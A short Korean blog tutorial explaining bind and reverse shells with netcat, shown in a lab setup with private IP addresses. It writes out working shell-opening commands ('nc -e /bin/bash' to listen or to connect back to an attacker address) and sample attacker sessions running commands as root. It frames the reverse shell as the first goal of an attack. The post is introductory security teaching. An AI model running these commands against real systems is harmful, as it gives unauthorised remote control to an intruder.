Netcat을 이용한 Remote Shell

energy·2022년 7월 29일
0

system

목록 보기
2/4

Bind Shell

공격자의 입장에서 공격자가 피해자 서버에 접속해서 쉘을 생성하는 방식.

사용 방법은 다음과 같다.

피해자 서버에서 7777 Port를 통해 Shell을 생성하고 Listening 한다.

# 피해자 서버

root@energy:~# nc -lvp 7777 -e /bin/bash
listening on [any] 7777 ...

공격자는 피해자의 IP와 Port로 접속하면, 피해자가 생성한 Shell을 획득할 수 있다.

# 공격자 서버

C:\
λ nc 192.168.0.108 7777
whoami							// 공격자의 명령
root
pwd								// 공격자의 명령
/root
echo good Bind Shell			// 공격자의 명령
good Bind Shell

위와 같이 피해자가 특정 Port로 쉘을 생성하고 Listening 하면, 공격자가 피해자의 IP와 Port로 nc를 통해 접속하는 방식이다. Bind Shell 방식은 공격자가 외부에서 피해자의 서버의 특정 포트로 접근해야 되는 입장이기 때문에 피해자 서버의 방화벽에 차단되는 문제가 있다.




Reverce Shell

피해자의 입장에서 피해자가 자신의 쉘을 생성해서 공격자에게 접속하는 방식.

사용 방법은 다음과 같다.


공격자 서버에서 단지 4444 Port를 Listening 한다.
# 공격자 서버

C:\
λ nc -lvp 4444
listening on [any] 4444 ...

피해자는 자신의 Shell을 생성하여 공격자의 IP와 Port로 접속한다.

# 피해자 서버

root@energy:~# nc 192.168.0.105 4444 -e /bin/bash

피해자가 공격자의 서버로 접속이 완료되면 공격자는 피해자의 Shell을 획득할 수 있다.

connect to [192.168.0.105] from (UNKNOWN) [192.168.0.108] 47792: NO_DATA
whoami							// 공격자의 명령
root
pwd								// 공격자의 명령
/root
echo Excellent Reverce Shell !	// 공격자의 명령
Excellent Reverce Shell !

위와 같이 공격자가 특정 Port로 단지 Listening 하면, 피해자가 공격자의 IP와 Port로 nc를 통해 접속하는 방식이다. Reverce Shell 방식은 내부 입장인 피해자가 외부인 공격자에게 접근하는 방식이기 때문에, 피해자 서버의 내부 방화벽에 차단되는 경우가 적다.

그래서 해킹 공격 시 피해자의 서버에서 nc를 통해 공격자인 자신의 서버로 Reverce Shell을 접속하게 하는 명령을 실행하는 것을 첫 번째 목표로 한다.

0개의 댓글